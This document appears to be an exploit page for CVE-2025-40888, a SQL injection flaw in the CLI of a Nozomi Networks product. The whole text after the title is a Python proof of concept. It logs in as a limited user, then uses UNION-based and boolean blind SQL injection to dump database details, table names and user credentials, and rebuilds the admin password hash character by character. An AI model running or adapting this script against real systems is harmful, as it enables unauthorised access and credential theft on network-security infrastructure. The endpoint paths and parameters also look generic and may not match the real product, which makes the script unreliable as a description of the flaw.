CVE-2025-40888 Nozomi Networks产品CLI SQL注入漏洞

# CVE-2025-40888 PoC - Nozomi Networks CLI SQL Injection # Vulnerability: SQL Injection in CLI input parameter validation import requests import sys TARGET_URL = "https://target-nozomi-host/cli" USERNAME = "limited_user" PASSWORD = "password123" # Step 1: Authenticate to obtain session session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/login", data=login_data) # Step 2: Exploit SQL Injection via CLI parameter # The vulnerable parameter is passed to the CLI command handler # Inject UNION SELECT to extract data from other tables def exploit_sqli(injection_payload): """ Send malicious CLI command with SQL injection payload """ # Example: CLI command with injected SQL cli_command = { "command": "show-config", "filter": f"default' UNION SELECT {injection_payload}--" } response = session.post(f"{TARGET_URL}/execute", json=cli_command) return response.text # Extract database version print("[*] Extracting database version...") result = exploit_sqli("version(),user(),database()") print(f"[+] Result: {result}") # Extract table names print("[*] Enumerating tables...") result = exploit_sqli("table_name,null,null FROM information_schema.tables--") print(f"[+] Tables: {result}") # Extract user credentials print("[*] Extracting user credentials...") result = exploit_sqli("username,password,null FROM users--") print(f"[+] Credentials: {result}") # Boolean-based blind SQLi fallback def blind_sqli(condition): """ Use boolean-based blind injection if UNION doesn't work """ payload = f"default' AND (SELECT 1 FROM dual WHERE {condition})='1'--" cli_command = {"command": "show-config", "filter": payload} response = session.post(f"{TARGET_URL}/execute", json=cli_command) return "exists" in response.text or len(response.text) > 100 # Example: Extract password hash character by character print("[*] Performing blind SQLi to extract admin password...") password_hash = "" for i in range(1, 33): for c in "0123456789abcdef": if blind_sqli(f"SUBSTRING((SELECT password FROM users WHERE role='admin'),{i},1)='{c}'"): password_hash += c print(f"[+] Hash so far: {password_hash}") break print(f"[+] Admin password hash: {password_hash}")